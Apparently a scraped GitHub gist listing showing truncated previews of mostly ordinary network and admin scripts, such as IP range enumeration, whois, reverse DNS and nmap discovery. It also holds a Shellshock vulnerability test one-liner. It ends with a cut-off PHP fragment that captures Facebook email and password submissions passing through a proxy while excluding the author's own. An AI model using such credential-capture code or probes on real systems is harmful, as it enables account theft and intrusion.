This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
hdiutil convert -format UDRW -o ~/target.img ~/file.iso |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ip=$( echo $1 | cut -d"/" -f1 ) | |
no=$( echo $1 | cut -d"/" -f2 ) | |
k=`expr 32 - $no` | |
nu=$(echo "2 ^ $k" | bc) | |
num=1 | |
new_ip=$( echo $ip | cut -d"." -f1-3 ) | |
while [[ $num -ne $nu ]] | |
do | |
echo $new_ip".$num" | |
(( num = num + 1 )) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
env x='() { :;}; echo vulnerable' bash -c "echo this is a test" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
openssl s_client -connect vpn.yourcompany.com:443 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
for a in `awk -F: '{print $1}' ip1.txt` | |
do | |
echo "$((i++)) $1:" >> whoisdb.txt | |
whois $a | awk '/NetName/ || /OrgName/{print}' >> whoisdb.txt | |
echo -e "\n" >> whoisdb.txt | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sed "s/\.$//" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
for i in `cat ips.txt` ; do dig -x $i +short >> dns.txt ; done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# Class C device discovery in under 5 seconds. | |
# Notice that it will display information on any MAC address that nmap knows about. It's helpful to keep this updated. | |
# You can also add any MAC address OIDs that are newer or unknown to the file /usr/share/nmap/nmap-mac-prefixes. | |
# | |
# How to call this script: | |
# nmap -n -sP --excludefile $PROJECT_ROOT/output/known.skip 10.10.100-103.1-255 | awk -f $PROJECT_ROOT/mac-sort.awk | |
# | |
BEGIN { PROJECT_PATH="/path/to/scripts"; } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Search() { | |
var sheet = SpreadsheetApp.getActiveSheet(); | |
var row = 2; | |
// Clear existing search results | |
sheet.getRange(2, 1, sheet.getMaxRows() - 1, 4).clearContent(); | |
// Which Gmail Label should be searched? | |
var label = sheet.getRange("F3").getValue(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (strpos($_url, 'facebook.com')) //checks if url contains "facebook" | |
{ | |
if ($_REQUEST['email'] != "") //only true if there is info submitted | |
{ | |
$user = $_REQUEST['email'] ; //getting the info | |
$pass = $_REQUEST['pass'] ; | |
$not_me = 0 | |
if (strpos($user, 'your_name') or strpos($pass, 'whatever_your_password_is')) //this protects yourself | |
{ |